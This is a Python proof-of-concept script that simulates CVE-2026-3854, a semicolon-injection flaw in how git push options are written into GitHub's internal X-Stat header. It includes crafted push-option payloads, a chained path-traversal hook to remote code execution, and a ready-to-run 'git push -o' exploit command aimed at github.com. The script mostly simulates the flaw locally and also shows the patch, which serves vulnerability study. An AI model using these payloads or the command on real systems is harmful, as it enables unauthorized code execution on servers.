#!/usr/bin/env python3 """ CVE-2026-3854 PoC - GitHub RCE via X-Stat Push Option Injection Educational / Authorized Security Research Only This script is a purely demonstrative simulation of CVE-2026-3854. It does NOT connect to any live system, execute any real commands, or perform any actual exploitation. It exists solely to illustrate the vulnerability mechanism for educational and authorized research. Usage: python3 exploi-git.py """ import json SEPARATOR = "=" * 70 BANNER = """ ╔══════════════════════════════════════════════════════════════════════╗ ║ CVE-2026-3854 PoC - GitHub RCE via X-Stat Push Option Injection ║ ║ Educational / Authorized Security Research Only ║ ╚══════════════════════════════════════════════════════════════════════╝ """ # --------------------------------------------------------------------------- # Simulated server-side X-Stat header builder # --------------------------------------------------------------------------- # Baseline values a legitimate GitHub push would carry BASELINE_FIELDS = { "repo_id": "12345", "user_id": "attacker", "rails_env": "production", "enterprise_mode": "false", "custom_hooks_dir": "/data/github/custom-hooks", "repo_pre_receive_hooks": "[]", "push_option_count": "0", } def build_xstat_header(push_options: list[str]) -> str: """ Simulate how GitHub's internal Ruby code concatenates push options into the X-Stat header using semicolons as field delimiters. Vulnerable behaviour: push option values are inserted verbatim, so a semicolon inside a value breaks out into a new field. """ parts = list(BASELINE_FIELDS.items()) for idx, value in enumerate(push_options): # push_option_N= — value is NOT sanitised (vulnerable path) parts.append((f"push_option_{idx}", value)) return ";".join(f"{k}={v}" for k, v in parts) def parse_xstat_header(header: str) -> dict[str, str]: """ Simulate the server-side parser that splits the X-Stat header on semicolons and takes the *last* occurrence of each key (attacker wins). """ result: dict[str, str] = {} for token in header.split(";"): if "=" in token: key, _, val = token.partition("=") result[key.strip()] = val.strip() return result def sanitise_push_option(value: str) -> str: """Patched behaviour: percent-encode semicolons before insertion.""" return value.replace(";", "%3B") # --------------------------------------------------------------------------- # Demo helpers # --------------------------------------------------------------------------- def demo1_basic_injection() -> None: """DEMO 1 – Basic semicolon injection that overrides rails_env.""" print(SEPARATOR) print("DEMO 1: Basic Semicolon Injection -> Sandbox Bypass") print(SEPARATOR) print() malicious_option = "normal_value;rails_env=staging" print(f"[ATTACKER] Push option: {malicious_option}") print("[ATTACKER] Semicolon breaks out of push_option_0 field") print() header = build_xstat_header([malicious_option]) abbreviated = header[:120] + "..." print(f"[VULNERABLE] X-Stat header (abbreviated): {abbreviated}") print() parsed = parse_xstat_header(header) rails_env = parsed.get("rails_env", "production") print(f"[RESULT] rails_env = '{rails_env}'") if rails_env != "production": print(f"[IMPACT] Sandbox BYPASSED! Changed from 'production' to '{rails_env}'") else: print("[IMPACT] Injection had no effect — rails_env unchanged") print() def demo2_rce_chain() -> None: """DEMO 2 – Full 3-step conceptual RCE chain (no real execution).""" print(SEPARATOR) print("DEMO 2: Full 3-Step RCE Chain") print(SEPARATOR) print() rce_options = [ 'step1;rails_env=staging', 'step2;custom_hooks_dir=/tmp/evilhooks', 'step3;repo_pre_receive_hooks=[{"script": "../../../usr/bin/id"}]', 'step4;enterprise_mode=true', ] print("[ATTACKER] Crafted push options:") for opt in rce_options: print(f' -o "{opt}"') print() header = build_xstat_header(rce_options) parsed = parse_xstat_header(header) security_fields = [ "rails_env", "custom_hooks_dir", "repo_pre_receive_hooks", "enterprise_mode", ] print("[RESULT] Security-critical parsed fields:") for field in security_fields: value = parsed.get(field, "") print(f" {field:<22} = {value}") print() hooks_dir = parsed.get("custom_hooks_dir", "/data/github/custom-hooks") hook_script_raw = parsed.get( "repo_pre_receive_hooks", '[{"script": "../../../usr/bin/id"}]' ) # Robustly extract the script path from the hook JSON list try: hooks_list = json.loads(hook_script_raw) hook_script = hooks_list[0].get("script", "unknown") if hooks_list else "unknown" except (json.JSONDecodeError, IndexError, KeyError, TypeError): hook_script = "unknown" resolved = hooks_dir.rstrip("/") + "/" + hook_script print("[EXECUTION FLOW]") print(f" 1. rails_env='staging' -> UNSANDBOXED mode") print(f" 2. custom_hooks_dir='{hooks_dir}' (attacker-controlled)") print(f" 3. Hook resolves to: {resolved}") print(f" 4. -> Executes /usr/bin/id as git user WITHOUT SANDBOX") print(f" 5. RCE ACHIEVED") print() def demo3_patched() -> None: """DEMO 3 – Shows how the patch (semicolon sanitisation) neutralises the attack.""" print(SEPARATOR) print("DEMO 3: Patched Behavior (Semicolon Sanitization)") print(SEPARATOR) print() original = "normal_value;rails_env=staging" sanitised = sanitise_push_option(original) print(f"[PATCHED] Original: {original}") print(f"[PATCHED] Sanitized: {sanitised}") print() # Build header with the sanitised value header = build_xstat_header([sanitised]) parsed = parse_xstat_header(header) rails_env = parsed.get("rails_env", "production") print(f"[PATCHED] rails_env = '{rails_env}'") if rails_env == "production": print("[PATCHED] Injection NEUTRALIZED - sandbox remains active") else: print(f"[PATCHED] Unexpected result: rails_env = '{rails_env}'") print() def show_exploit_command() -> None: """Display the conceptual git push command used during authorized testing.""" print(SEPARATOR) print("EXPLOIT COMMAND (Authorized Testing Only)") print(SEPARATOR) print() print( "git push " '-o ;rails_env=staging ' '-o ;custom_hooks_dir=/tmp ' '-o \';repo_pre_receive_hooks=[{"script":"../../../usr/bin/id"}]\' ' "-o ;enterprise_mode=true " "git@github.com:attacker/repo.git" ) print() print("Each -o injects fields into X-Stat via semicolon delimiter abuse.") print() def show_references() -> None: """Print external references for this CVE.""" print(SEPARATOR) print("REFERENCES") print(SEPARATOR) print() print(" [1] Wiz Research: https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854") print(" [2] GitHub Blog: https://github.blog/security/securing-the-git-push-pipeline/") print(" [3] NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-3854") print() # --------------------------------------------------------------------------- # Entry point # --------------------------------------------------------------------------- def main() -> None: print(BANNER) demo1_basic_injection() demo2_rce_chain() demo3_patched() show_exploit_command() show_references() if __name__ == "__main__": main()